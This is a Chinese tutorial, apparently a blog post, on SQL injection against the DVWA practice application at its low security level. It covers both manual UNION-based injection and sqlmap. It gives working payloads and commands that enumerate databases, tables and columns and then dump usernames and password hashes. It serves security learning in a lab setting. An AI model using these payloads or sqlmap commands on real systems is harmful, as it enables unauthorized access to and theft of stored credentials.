mysql的sql手工注入基于回显,DVWA中SQL回显注入

一.SQL注入简介

1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句。

SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据,或者利用潜在的数据库漏洞进行攻击。

1.2 SQL注入漏洞威胁

(1).猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

(2).绕过认证,列如绕过验证登录网站后台。

(3).注入可以借助数据库的存储过程进行提权等操作。

1.3 基础知识

1.3.1 服务器将提交的参数拼接到要执行的SQL语句中。

一般首先找到有数据库交互的功能页面(例如:?参数=)

正常的SQL语句:select name from tablename where name=’admin’ and passwd=’xxxxxxxxxxxxx’

1.3.2 常用函数:version()  user()  database()

1.3.3 where 语句

... where user_id = 1 or 1 = 1   数字型

... where user_id = ‘1’ or ‘1’ = ‘1’   字符型

... where user_id = “1” or “1” = “1”

1.3.4 三种MySQL注释符

(1) #(忽略),#后面的数据会被忽略掉;单行注释,注意与url中#区分,常编码成%23

(2)-- (忽略),和#类似;注意是:短线短线空格

(3)/*(忽略)*/,多行注释;至少有两处输入;/**/注入中常用来作为空格

二.SQL回显注入(数据库的执行结果直接显示在页面上)

等级 :LOW

1.手工注入

(1)我们可以通过以下步骤判断这里是否存在注入点

输入”1”提交

2b1c879879aaf9d1e144b3d07cc31cee.png

输入“1’”提交 ,会报错

0618ad1710f9a830a06f3c9c21717a92.png

知道这个表单存在注入漏洞

猜测一下这个SQL语句长啥样?

Select firstname,sunname from xxx(表)

Select firstname,sunname from xxx where userid=我们输入的id

(2) 确定查询字段数/测试查询信息列数

1’ order by 1--

1’ order by 10--

(3) 确定回显点

(4) 查数据库名,数据库版本,用户名

' union select version(),database()--

f96b9e1421d9840578f760db2ee39cd9.png

' union select database(),user()--

3807e62c40bc03ab95e52c2fd9d88943.png

爆库名   union select 1,schema_name from information_schema.schemata

(5) 查数据表名

' union select 1,table_name from information_schema.tables where table_schema='dvwa'--

eb77acb6b1f6ebd798287f8db41d33df.png

(6) 查列/字段名

' union select 1,column_name from information_schema.columns where table_name='users'--

(7) 查看字段中的信息

' union select user,password from users--

自动注入(sqlmap)

(1)登录状态--cookie

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6"

发现有基于布尔类型的SQL盲注;基于错误回显的SQL注入;基于时间延迟的SQL盲注。

(2) 获取数据库和用户名信息

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" --current-user --current-db

(3) 查询数据库中表的信息

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa --tables

(4) 查询表中字段的信息

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa -T users --column

(5) 查字段信息用户名和密码

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa -T users -C"user,password" --dump

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值